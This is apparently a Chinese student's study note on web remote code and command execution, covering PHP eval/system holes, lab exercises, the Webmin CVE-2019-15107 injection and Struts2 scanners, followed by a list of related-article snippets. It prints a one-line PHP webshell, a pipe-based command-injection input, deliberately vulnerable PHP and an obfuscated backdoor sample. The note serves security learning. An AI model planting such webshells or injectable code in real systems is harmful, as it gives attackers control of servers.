2021/12/15 RCE代码和命令执行
小迪
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=29
https://www.cnblogs.com/ermei/p/6689005.html
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe
cat和tac命令详解:https://www.cnblogs.com/mengchunchen/p/8066306.html
参考笔记:https://www.bilibili.com/read/cv14162614
https://github.com/xfiftyone/STS2G
https://github.com/HatBoy/Struts2-Scan
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用
代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代
码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏
洞。同样调用系统命令处理,将造成命令执行漏洞。
RCE代码执行
eval()函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行.
<?php
$code=$_GET['x'];
eval($code);
?>
创建文件 - fopen() 写入文件 - fwrite()
创建后门,然后菜刀连接
<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "这是后门\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
实例
system()函数
输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
<?php
$code=$_GET['x'];
system($code);
?>
mozhe命令注入执行分析
使用管道符|执行多条命令
127.0.0.1|ls
这里前端有验证,抓包修改数据包
mozhePHP代码分析溯源(第4题)
PHP解压函数gzdecode和gzinflate
base64_encode是加密,而base64_decode是解密
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
把解密的代码输出,修改为
<?php
echo (gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==')));
?>
可以看到最后结果为
echo `$_REQUEST[a]`;; ?>
这里考点之一就是在Linux中echo 加反引号,反引号内的当命令执行,那这里直接修改传参a的值就行。
这里用tac读取文件才行,cat,more都不行。
Webmin未经身份验证的远程代码执行CVE-2019-15107
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md
ls当前目录;
ls …上一级目录;
ls ~自己的home目录;
ls / 根目录;
==ls …/…目录的上上两层 ==
Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
Struts2是一个基于MVC设计模式的Web应用框架,目前已经发展成为一个非常成熟的框架。全球用大量的网站使用该框架开发。其中许多政府,大型企业均有使用。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。目前已经不是主流的Web技术,还存留在一些老旧系统中。
直接使用漏洞扫描工具
https://github.com/xfiftyone/STS2G
https://github.com/HatBoy/Struts2-Scan
exp和poc的区别
一句话 Webshell 后门原理代码执行-拓展说明
一句话eval
<?php @eval($_POST['zzz']);?>
添加进菜刀
菜刀将功能性函数写入程序里面
—网站访问后门地址,将接受post传递的参数,并且将传递的参数当做系统命令执行
—菜刀将操作系统的命令写入参数,以post方式传递给网站后门,网站后门通过eval()代码执行来执行系统命令或者代码,从而达到了菜刀远程操作服务器的目的。
2021/12/15 RCE代码和命令执行相关推荐
- 30.WEB漏洞-RCE代码及命令执行漏洞
30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...
- WEB漏洞—RCE 代码及命令执行漏洞
什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...
- RCE代码及命令执行漏洞简解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...
- 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...
- REC代码及命令执行漏洞
RCE代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行 ...
- Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)
今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...
- REC代码及命令执行代码全解
REC代码及命令执行代码全解 在Web应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字 ...
- RCE漏洞以及命令执行漏洞
目录 概念 代码执行和命令执行区别 代码执行漏洞特点 命令执行漏洞特点 漏洞形成条件 漏洞产生地方 如何检测漏洞 白盒情况下 黑盒情况下 防御方案 变量过滤或固定 WAF产品防火墙防护 敏感函数禁用 ...
- 2021.12.9 java代码对接sap接口(soap协议、webservice)
2021.12.9 java对接sap接口(soap协议.webservice) 问题:对接sap接口,代码调试 执行: 1.soapui 软件测试是否能正确访问 未能正确访问,因为未在本地配置域名映 ...
最新文章
- R语言data.table进行滚动数据连接,滚动联接通常用于分析涉及时间的数据实战(动画说明滚动数据连接的形式):rolling joins data.table in R
- c++ socket 连接超时_Web性能优化之-HTTP长连接
- Linux字符集安装文件,Linux下字符集的安装
- 【Java学习笔记之一】java关键字及作用
- Mybatis批量更新转
- 【软件工程】IS的三级管理
- CJSON之完全基于C库函数的使用
- 全民 Transformer (一): Attention 在深度学习中是如何发挥作用的
- linux系统官方版下载 百度云,百度网盘linux版
- bmd硬盘测试_mac硬盘测速工具Blackmagic Disk Speed Test如何使用
- 微信小程序蓝牙打印开发心得
- 我最近在看什么——《蛤蟆先生去看心理医生》
- 使用java实现 Excel在线预览
- uni-app APP端引入echart
- windows efi分区修复
- 吴恩达对话刘慈欣:让科幻更有勇气,让人工智能更有想象力
- [全网首发]一款好看的个人主页源码
- webpack html 模板插值,vue-ssr问题
- 解决mysql8.0登录验证失败的问题
- EPSON RX8010SJ RTC 调试笔记之五, 固定周期定时中断功能 (Fixed-cycle Timer Interrupt Function)